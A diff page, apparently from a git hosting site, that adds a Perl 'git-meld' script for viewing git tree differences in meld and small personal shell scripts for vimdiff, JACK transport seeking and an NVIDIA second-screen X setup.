||||
if (scalar @$file_list == 0) {
|
||||
return;
|
||||
}
|
||||
my $escaped_file_list = join(" ", map{shell_escape($_)} @$file_list);
|
||||
safe_cmd("git archive $tree $escaped_file_list | tar -x -C \"$out_dir\"");
|
||||
}
|
||||
|
||||
# Links the files given as a list in the first argument from the working
|
||||
# directory to the directory in the second argument
|
||||
#
|
||||
# These are linked rather than copied to allow the user to edit the files in the
|
||||
# diff viewer
|
||||
sub link_files_working_dir($$) {
|
||||
(my $file_list, my $out_dir) = @_;
|
||||
# Because we're diffing against the working directory we wish to create a
|
||||
# tree of links in the dest folder mirroring that in the repo.
|
||||
# TODO: Fix this so we don't have to loop over each filename somehow
|
||||
foreach my $filename (@$file_list) {
|
||||
my $dir = $filename;
|
||||
safe_system("mkdir", "-p", dirname("$out_dir/$filename"));
|
||||
safe_system("ln", "-s", cwd() . "/$filename", "$out_dir/$filename");
|
||||
}
|
||||
}
|
||||
|
||||
# Copies the files given as a list in the first argument from the staging area
|
||||
# to the directory in the second argument
|
||||
sub copy_files_staging_area($$) {
|
||||
(my $filelist, my $outdir) = @_;
|
||||
safe_system("git", "checkout-index", "--prefix=$outdir/", "--", @$filelist);
|
||||
}
|
||||
|
||||
my $all_args = join(" ", map{ shell_escape($_) } @ARGV);
|
||||
(my $source_tree, my $dest_tree, my $opts) = parse_cmd(@ARGV);
|
||||
|
||||
if (exists($opts->{"cached"}) || exists($opts->{"staged"})) {
|
||||
($dest_tree eq "") || die("Only one commit can be given with the option --cached. You gave \"" . $dest_tree . "\"");
|
||||
if ($source_tree eq "") {
|
||||
$source_tree = "HEAD";
|
||||
}
|
||||
}
|
||||
|
||||
# At this point we have parsed two commits and want to diff them
|
||||
my $git_dir = trim(safe_cmd("git rev-parse --show-cdup"));
|
||||
if ($git_dir eq "") {
|
||||
$git_dir = ".";
|
||||
}
|
||||
|
||||
my $tmp_dir=trim(safe_cmd("mktemp -d -t git-meld.XXXXXX"));
|
||||
my $source_dir = "$tmp_dir/" . (($source_tree eq "") ? "staging_area" : $source_tree);
|
||||
my $dest_dir = "$tmp_dir/" . (($dest_tree eq "") ? "working_dir" : $dest_tree);
|
||||
|
||||
safe_system("mkdir -p $source_dir");
|
||||
safe_system("mkdir -p $dest_dir");
|
||||
|
||||
my $src_changed_files = nul_seperated_string_to_list(safe_cmd("git diff -z --diff-filter=DMTUXB --name-only $all_args"));
|
||||
my $dest_changed_files = nul_seperated_string_to_list(safe_cmd("git diff -z --diff-filter=ACMTUXB --name-only $all_args"));
|
||||
|
||||
if ($source_tree eq "") {
|
||||
copy_files_staging_area($src_changed_files, $source_dir);
|
||||
}
|
||||
else {
|
||||
copy_files_named_tree($source_tree, $src_changed_files, $source_dir);
|
||||
}
|
||||
|
||||
if (exists($opts->{"cached"}) || exists($opts->{"staged"})) {
|
||||
copy_files_staging_area($dest_changed_files, $dest_dir);
|
||||
}
|
||||
elsif ($dest_tree eq "") {
|
||||
link_files_working_dir($dest_changed_files, $dest_dir);
|
||||
}
|
||||
else {
|
||||
copy_files_named_tree($dest_tree, $dest_changed_files, $dest_dir);
|
||||
}
|
||||
|
||||
safe_system("chmod", "-R", "a-w", "$tmp_dir/");
|
||||
|
||||
my $tool = get_config_or_default("treediff.tool", "meld");
|
||||
my $cmd = get_config_or_default("treediff.$tool.cmd", $tool);
|
||||
my $path = get_config_or_default("treediff.$tool.path", "");
|
||||
safe_system("$path$cmd", "$source_dir", "$dest_dir");
|
||||
|
||||
safe_system("chmod", "-R", "u+w", "$tmp_dir/");
|
||||
safe_system("rm", "-Rf", $tmp_dir);
|
||||
Executable
+228
@@ -0,0 +1,228 @@
|
||||
#!/usr/bin/perl
|
||||
|
||||
### Copyright (C) 2010 Will Manley <will@williammanley.net>
|
||||
|
||||
### This program is free software; you can redistribute it and/or modify
|
||||
### it under the terms of the GNU General Public License as published by
|
||||
### the Free Software Foundation; either version 2 of the License, or
|
||||
### (at your option) any later version.
|
||||
|
||||
### This program is distributed in the hope that it will be useful,
|
||||
### but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
### MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
### GNU General Public License for more details.
|
||||
|
||||
### You should have received a copy of the GNU General Public License
|
||||
### along with this program; if not, write to the Free Software
|
||||
### Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
use strict;
|
||||
use File::Basename;
|
||||
use Cwd;
|
||||
|
||||
sub safe_cmd {
|
||||
my $cmd = shift;
|
||||
my $output = `$cmd`;
|
||||
if ($? != 0) {
|
||||
die("$cmd failed with exit code $?");
|
||||
}
|
||||
return $output;
|
||||
}
|
||||
|
||||
sub safe_system {
|
||||
system(@_) == 0 || die ("system(" . @_ . ") failed!");
|
||||
return 0;
|
||||
}
|
||||
|
||||
sub trim($)
|
||||
{
|
||||
my $string = shift;
|
||||
$string =~ s/^\s+//;
|
||||
$string =~ s/\s+$//;
|
||||
return $string;
|
||||
}
|
||||
|
||||
# Gets the value of the given config name from git if it exists, otherwise
|
||||
# returns the default value given as the second argument
|
||||
sub get_config_or_default($$) {
|
||||
(my $key, my $default) = @_;
|
||||
my $value = trim(`git config --get $key`);
|
||||
return ($value eq "") ? $default : $value;
|
||||
}
|
||||
|
||||
# The command line possibilities are:
|
||||
# Compare staging area to working directory:
|
||||
# git meld [--options...] [--] [<paths>...]
|
||||
#
|
||||
# Compare source to staging area (source defaults to HEAD):
|
||||
# git meld [--options...] --cached <source> [--] [<paths>...]
|
||||
#
|
||||
# Show the differences between source and the working directory
|
||||
# git meld [--options...] <source> [--] [<paths>...]
|
||||
#
|
||||
# Show the differences between source and dest:
|
||||
# git meld [--options...] <source> <dest> [--] [<paths>...]
|
||||
#
|
||||
# Same as above:
|
||||
# git meld [--options...] <source>..<dest> [--] [<paths>...]
|
||||
#
|
||||
# Show all the changes in source that have occured since it was branched
|
||||
# from dest:
|
||||
# git meld [--options...] <commit1>...<commit2> [--] [<paths>...]
|
||||
#
|
||||
# This function parses the command line and extracts source and dest and returns
|
||||
# them as two elements in a list.
|
||||
sub parse_cmd(@)
|
||||
{
|
||||
my @args = @_;
|
||||
my $diff_opts = "";
|
||||
my %opts;
|
||||
|
||||
# Get options to be sent to diff. These all start with --
|
||||
while (my $arg = shift(@args)) {
|
||||
if ($arg =~ m/^-/ && $arg ne "--") {
|
||||
$arg =~ m/^-+([^=]+)(=(.*))?$/;
|
||||
$opts{$1} = $3;
|
||||
$diff_opts += " \"$arg\"";
|
||||
}
|
||||
else {
|
||||
unshift(@args, $arg);
|
||||
last;
|
||||
}
|
||||
}
|
||||
|
||||
my $source_tree = "";
|
||||
my $dest_tree = "";
|
||||
|
||||
# Get tree-ishes to compare
|
||||
if (scalar @args != 0 && $args[0] ne "--") {
|
||||
my $commit1 = shift(@args);
|
||||
|
||||
if ($commit1 =~ m/^(.*)\.\.\.(.*)$/) {
|
||||
$source_tree = trim(safe_cmd("git merge-base $1 $2"));
|
||||
$dest_tree = $2;
|
||||
shift(@args);
|
||||
}
|
||||
elsif ($commit1 =~ m/^(.*)\.\.(.*)$/) {
|
||||
$source_tree = $1;
|
||||
$dest_tree = $2;
|
||||
}
|
||||
else {
|
||||
$source_tree = $commit1;
|
||||
if (scalar @args == 0) {
|
||||
}
|
||||
else {
|
||||
my $commit2 = shift(@args);
|
||||
if ($commit2 ne "--") {
|
||||
$dest_tree = $commit2;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ($source_tree, $dest_tree, \%opts);
|
||||
}
|
||||
|
||||
sub nul_seperated_string_to_list($) {
|
||||
my $string = shift;
|
||||
my @list = split(/\0/, $string);
|
||||
return \@list;
|
||||
}
|
||||
|
||||
sub shell_escape($) {
|
||||
$_ = shift;
|
||||
s/\\/\\\\/g;
|
||||
s/\$/\\\$/g;
|
||||
s/\`/\\\`/g;
|
||||
return "\"$_\"";
|
||||
}
|
||||
|
||||
# Copies files from a named tree into a directory
|
||||
# Parameters:
|
||||
# tree - A tree-ish
|
||||
# file_list - A list ref giving a list of filenames to copy
|
||||
# out_dir - The directory under which this tree should be reconstructed
|
||||
sub copy_files_named_tree($$$) {
|
||||
(my $tree, my $file_list, my $out_dir) = @_;
|
||||
if (scalar @$file_list == 0) {
|
||||
return;
|
||||
}
|
||||
my $escaped_file_list = join(" ", map{shell_escape($_)} @$file_list);
|
||||
safe_cmd("git archive $tree $escaped_file_list | tar -x -C \"$out_dir\"");
|
||||
}
|
||||
|
||||
# Links the files given as a list in the first argument from the working
|
||||
# directory to the directory in the second argument
|
||||
#
|
||||
# These are linked rather than copied to allow the user to edit the files in the
|
||||
# diff viewer
|
||||
sub link_files_working_dir($$) {
|
||||
(my $file_list, my $out_dir) = @_;
|
||||
# Because we're diffing against the working directory we wish to create a
|
||||
# tree of links in the dest folder mirroring that in the repo.
|
||||
# TODO: Fix this so we don't have to loop over each filename somehow
|
||||
foreach my $filename (@$file_list) {
|
||||
my $dir = $filename;
|
||||
safe_system("mkdir", "-p", dirname("$out_dir/$filename"));
|
||||
safe_system("ln", "-s", cwd() . "/$filename", "$out_dir/$filename");
|
||||
}
|
||||
}
|
||||
|
||||
# Copies the files given as a list in the first argument from the staging area
|
||||
# to the directory in the second argument
|
||||
sub copy_files_staging_area($$) {
|
||||
(my $filelist, my $outdir) = @_;
|
||||
safe_system("git", "checkout-index", "--prefix=$outdir/", "--", @$filelist);
|
||||
}
|
||||
|
||||
my $all_args = join(" ", map{ shell_escape($_) } @ARGV);
|
||||
(my $source_tree, my $dest_tree, my $opts) = parse_cmd(@ARGV);
|
||||
|
||||
if (exists($opts->{"cached"}) || exists($opts->{"staged"})) {
|
||||
($dest_tree eq "") || die("Only one commit can be given with the option --cached. You gave \"" . $dest_tree . "\"");
|
||||
if ($source_tree eq "") {
|
||||
$source_tree = "HEAD";
|
||||
}
|
||||
}
|
||||
|
||||
# At this point we have parsed two commits and want to diff them
|
||||
my $git_dir = trim(safe_cmd("git rev-parse --show-cdup"));
|
||||
if ($git_dir eq "") {
|
||||
$git_dir = ".";
|
||||
}
|
||||
|
||||
my $tmp_dir=trim(safe_cmd("mktemp -d -t git-meld.XXXXXX"));
|
||||
my $source_dir = "$tmp_dir/" . (($source_tree eq "") ? "staging_area" : $source_tree);
|
||||
my $dest_dir = "$tmp_dir/" . (($dest_tree eq "") ? "working_dir" : $dest_tree);
|
||||
|
||||
safe_system("mkdir -p $source_dir");
|
||||
safe_system("mkdir -p $dest_dir");
|
||||
|
||||
my $src_changed_files = nul_seperated_string_to_list(safe_cmd("git diff -z --diff-filter=DMTUXB --name-only $all_args"));
|
||||
my $dest_changed_files = nul_seperated_string_to_list(safe_cmd("git diff -z --diff-filter=ACMTUXB --name-only $all_args"));
|
||||
|
||||
if ($source_tree eq "") {
|
||||
copy_files_staging_area($src_changed_files, $source_dir);
|
||||
}
|
||||
else {
|
||||
copy_files_named_tree($source_tree, $src_changed_files, $source_dir);
|
||||
}
|
||||
|
||||
if (exists($opts->{"cached"}) || exists($opts->{"staged"})) {
|
||||
copy_files_staging_area($dest_changed_files, $dest_dir);
|
||||
}
|
||||
elsif ($dest_tree eq "") {
|
||||
link_files_working_dir($dest_changed_files, $dest_dir);
|
||||
}
|
||||
else {
|
||||
copy_files_named_tree($dest_tree, $dest_changed_files, $dest_dir);
|
||||
}
|
||||
|
||||
safe_system("chmod", "-R", "a-w", "$tmp_dir/");
|
||||
|
||||
my $tool = get_config_or_default("treediff.tool", "meld");
|
||||
my $cmd = get_config_or_default("treediff.$tool.cmd", $tool);
|
||||
my $path = get_config_or_default("treediff.$tool.path", "");
|
||||
safe_system("$path$cmd", "$source_dir", "$dest_dir");
|
||||
|
||||
safe_system("chmod", "-R", "u+w", "$tmp_dir/");
|
||||
safe_system("rm", "-Rf", $tmp_dir);
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/sh
|
||||
vimdiff "$2" "$5"
|
||||
@@ -0,0 +1,6 @@
|
||||
#!/bin/sh
|
||||
#(echo play | jack_transport)
|
||||
#(echo master 1 | jack_transport)
|
||||
SEC=$(echo "$1" | awk -F: '{ print ($1 * 3600) + ($2 * 60) + $3 }')
|
||||
(echo locate $( echo "($SEC) * 48000 - 2048" | bc -l ) | jack_transport)
|
||||
#echo "seeking jack transport to frame $( echo "($SEC) * 48000 - 2048" | bc -l ) - (2048)"
|
||||
@@ -0,0 +1,24 @@
|
||||
#! /bin/bash
|
||||
optirun true
|
||||
sudo rm /tmp/.X1-lock
|
||||
sudo /usr/bin/X -ac -audit 0 -config /etc/X11/xorg.conf.nvidia -sharevts -modulepath /usr/lib/nvidia/current,/usr/lib/xorg/modules -nolisten tcp -noreset :1 &
|
||||
|
||||
|
||||
|
||||
(sleep 7s &&
|
||||
echo "modes available: "
|
||||
xrandr -d :1
|
||||
|
||||
pkill screenclone && echo "screenclone detected, killing..." || echo "OK, no screenclone is running.."
|
||||
|
||||
RES="$1"
|
||||
|
||||
if [ -z "$1" ]
|
||||
then
|
||||
RES="1024x768"
|
||||
echo "Auto resolution: "$RES
|
||||
fi
|
||||
|
||||
xrandr -d :1 --output DP-0 --mode "$RES"
|
||||
screenclone -d:1 -x 0 &
|
||||
)
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user